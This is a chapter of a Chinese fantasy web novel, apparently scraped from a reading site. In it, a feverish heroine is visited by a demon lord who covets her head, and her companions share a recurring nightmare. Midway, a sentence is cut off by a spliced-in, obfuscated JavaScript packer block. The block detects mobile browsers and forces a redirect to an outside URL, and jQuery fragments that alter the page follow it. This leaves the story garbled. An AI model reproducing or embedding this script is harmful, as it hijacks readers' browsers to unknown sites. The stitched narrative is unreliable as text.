5. 噩梦

作品:《被迫拿上谍中谍剧本后

    “滚....不要,放开我。”


    虞枝猛然睁开眼睛,眸中都是惊恐。


    “醒了,醒了!”顾应淮等人已经守在房间里整整一天了,此刻见虞枝睁眼,激动得不行。


    虞枝似乎还未清醒,目光十分呆滞,一直望着床顶上的花纹。


    过了许久,她缓过神才发觉自己全身都发着热,手心里全是汗水。


    “木....”一开口声音嘶哑极了,就像喉咙里含着沙石。


    木之雪走近,摸了摸她额头,沉声道:“烧还未退下去。”


    今早起床,李府的婢女伺候虞枝洗漱时才发现她发着高烧,整个浑浑噩噩,嘴里面也不知道说了些什么。


    等李老爷来后,一看虞枝便拍腿大叫道这和当初李夫人的病情一模一样。


    说来也奇怪,木之雪一行人出门在外背了许多疗伤的药,可这药丸一颗颗下肚后,却不见好转。


    “丑话说在前头,你们既然让我放掉了余婉儿,那这个缺了的位置你们是无论如何都要补上的。”


    李老爷才不管虞枝死活,他反而觉得虞枝现在这副模样,说不定是自己的儿子很满意,已经迫不及待想要索她的魂下去陪自己了。


    谢忧看着虞枝红彤彤的脸,有些不忍。


    “师妹,不如我们再想想别的办法。”


    虞枝在木之雪的搀扶下,起身又喝了贴药。


    “不,我没事的,还能再抗抗。”


    虞枝就算被烧得头昏眼花了,也知道现在自己这样是最容易博取同情心的时候。


    试问,一个手无缚鸡之力的弱女子甘愿以身做饵,你还会怀疑她是叛徒吗?


    “别啊,别把你烧傻了,回去长老怪我们怎么办。”


    虞枝翻了顾亦淮一眼,要不是现在手上没力气她真想给他两拳,真是狗嘴里面吐不出象牙。


    木之雪见虞枝又昏睡过去了,一时间也不知道怎么办。


    “谢师兄,你觉得.....”她没有轻易敲下决定。


    谢忧叹了口气,“先依着她吧。”


    谢忧最近是越发觉得虞枝奇怪多了,自从上次醒来后,人变得很活泼,话也不少,丝毫没有当初目中无人的样子。待人也温和有礼,想到此处,他低头瞥了眼自己手心那道已经结了痂的伤疤。


    这是虞枝勾结魔族的事情被他发现后,去劝说她时她一刀划过来留下的伤口。


    他至今忘不了,她满眼厌恶的看着他,鄙夷道:“给我滚,仙门的走狗!”


    “师兄?师兄?”耳畔传来顾亦淮的声音。


    谢忧将思绪重新拉了回来,对上木之雪疑惑的目光。


    “大家已经守了许久了,先去吃饭吧。”他提议道。


    木之雪和顾亦淮确实也感觉到饿了,也没有推脱,只是走之前木之雪特意给虞枝房里布下了结界。


    至于李老爷,早些时候就离去了。


    虞枝刚睡过去,那男子的声音又在幽幽地响起。


    “我不甘心,我不甘心。”


    她努力想摆脱,拼命向前跑,可是那声音如同魔咒般紧紧追着自己。


    身体又开始发热,她宛若被人架在火炉上烤。


    她挣扎着试图起来,可换来的是身体不断的下坠下坠。


    忽然,一阵冰凉抚上她的脸颊。


    虞枝如同干涸地的鱼儿般,努力朝着这么清泉靠近。


    好舒服.......她感叹道。


    再近一些,再近一些......


    “这么烫。”那手的主人将手抽回来。


    察觉到那清泉离开自己后,虞枝有些不满,她眯着眼睛想看看是谁。


    结果入目便是晏无辞坐在床边,目光冷冷的瞧着自己。


    大魔王今天出奇的穿了身白衣,头发也束在身后,整个人看着居然有几分.......松风水月?


    不过就是这目光里为何多了几分厌恶。


    身体不舒服和脑袋那个更重要,她当然分得清。


    “魔尊大人。”虞枝艰难从床上爬起,坐跪在离晏无辞半尺的地方。


    晏无辞没有理会虞枝,反而盯着自己的手。倏然,他左手长出利爪将右手的皮撕了下来。


    虞枝吓得一个激灵,险些叫出来。


    “这样才算干净。”他满意道。


    虞枝乍舌,合着这魔王是嫌弃自己脸脏。


    少顷,那被拔掉皮的右手又重新长上了白净如新的皮。


    “放心,既然你说的话是真的,我自然不会取你的头。”晏无辞捻了捻虞枝垂在被褥上的发丝,怅然道。


    少女将头低垂,只露出毛茸茸的头顶,她今天没扎双螺,没有头须束缚的青丝如瀑布般披散在腰间,几根发丝垂在脸颊处,随着她清浅的呼吸起起伏伏。


    晏无辞暮地将手放在她头顶。


    虞枝拧眉,掀起眼帘满眼疑惑的望着他。


    只见他将手收回来时,掌心多了几只白色的小虫子。


    那虫子拼了命在他手里扭动,其中有一只已经半个身体钻进他的掌心了。


    虞枝越看越觉得这虫子像梦里面那附骨的蛆,胃里面一阵翻涌,差点呕出来了。


    还好理智占了上风,把牙关守住了,不然她要是不小心吐在晏无辞身上,按照刚才那情形,他非得给自己脱胎换骨一遍。


    晏无辞眼睫微颤,嗤笑了声,眨眼间那虫子便烟消云散了。


    他重新将目光落在虞枝身上,双眸弯弯,如三月初开的桃花般柔和绚丽,可说那张薄唇吐出来的字却让她不寒而颤,就好像冬天有人往她衣服里塞了几块冰渣:“不过是几只没开灵巧的怪物,连最低等的魔修都算不上,还敢觊觎你这张皮囊。”


    说完,他特意避开虞枝的脸,抬手轻轻抚上了她的发丝,带着商量的语气询问道:“我实在很喜欢你这个头,要不然等你找到罗刹石的下落后,把它送给我可好?”


    虞枝心里面已经开始抓狂了,这人怎么总念着她的脑袋,她的脑袋就如此对他胃口吗!


    “确实很喜欢。”他轻叹了声,似看破了虞枝心中所想。


    虞枝低头咬着牙齿,敢怒不敢言。


    “你放心,倒是本尊亲手为你造一副躯体出来,保证比现在的更美更完美。”得不到回应的晏无辞,破天荒的往后退了一步。


    魔尊的血液可以造就出这世间最完美无瑕的躯体,他想不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829777|158908||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到虞枝不同意的理由。


    果然少女抬起头,对上他的目光,眸中泛起星星点点的微光,笑盈盈道:“魔尊大人,如果到时候找到罗刹石后您还想要我这颗头的话,我送给你呀。”


    虞枝:如果找到罗刹石后你还有命的话,别说一颗头,就是要把她抽筋剥骨,她一句怨言都没有!


    晏无辞:“我记下了。”


    说完他站起身,神情又恢复如初,半天不见刚刚商量时的笑意。


    虞枝腕上传来一阵冰冷,她低头不知道何时手腕缠上了一根银色的链子。


    “放心,这根链子没有什么作用,只是连着你的心脉,如果在找到罗刹石之前你不小心死了,它会提醒本尊赶在你咽下最后一口气时取你头。”晏无辞开口道。


    他看着面前的女子,如此软弱,就连区区一只腐虫都能将她折磨成这副模样,他实在是有点担心那一天虞枝就这么悄无声息的死了。


    毕竟头颅上的表情要最鲜活才好。


    虞枝露出一抹寡淡的笑意。


    是被气笑的。


    不过晏无辞没有察觉,他拂了下手便消失在她眼前了。


    也不知道是何缘故,大魔王走后,虞枝感觉身体无比轻松。


    不过她也没细想,而是认为一切苦难和晏无辞相比,都不足为惧。


    第二天醒来时,虞枝发现自己烧都退了,人也不再软绵绵的。


    “木姐姐,我好啦!”她兴冲冲跑到隔壁屋子,一把推开木之雪的门。


    由于下手太重了,门撞在墙上发出“哐当”一声。


    “木姐姐?木姐姐?”虞枝探头张望了下里屋。


    发现里面光线很暗。


    她走过去,掀起床幔,只见木之雪躺在床上,脸色煞白。


    这时外屋传来脚步声。


    虞枝侧身找过去,是谢忧和顾亦淮。


    他们一人拎着一副药。


    顾亦淮惊道:“你怎么下床了?”


    谢忧施了一个诀,探了探虞枝的额头。


    “烧退了。”他松了口气。


    虞枝凝视着顾亦淮眼下的乌黑,道:“你晚上不会当强盗去了吧,黑眼圈这么重。”


    顾亦淮这两天和谢忧连轴转,先是照顾虞枝,紧接着木之雪也不舒服,算下来他都两天没好好休息了,面对虞枝话他已经无力反驳了,只是耸搭着眼皮,连连打哈欠。


    “别提了,本来就没有什么时间休息,好不容易小憩下,还做噩梦,梦里面一个男子一直对着我耳边说不甘心。”


    顾亦淮说得有气无力的。


    虞枝愕然,提声道:“你说你梦见了什么?”


    顾亦淮砸吧了下嘴,不以为然:“就是有个男子一直说什么不甘心。”


    虞枝眉心一跳,将视线重新落在木之雪身上。


    躺在床上的女子眉头拧在一起,嘴角绷成一条直线,被汗水打湿的发丝牢牢贴在两颊。


    “谢师兄,不会真的有鬼吧?”


    谢忧:“怎么了,为何这样想。”


    虞枝将目光收回来,转身看向他,缓道:“顾亦淮的梦和我一样,如果我没有猜错,现在木姐姐也梦见了相同的东西。”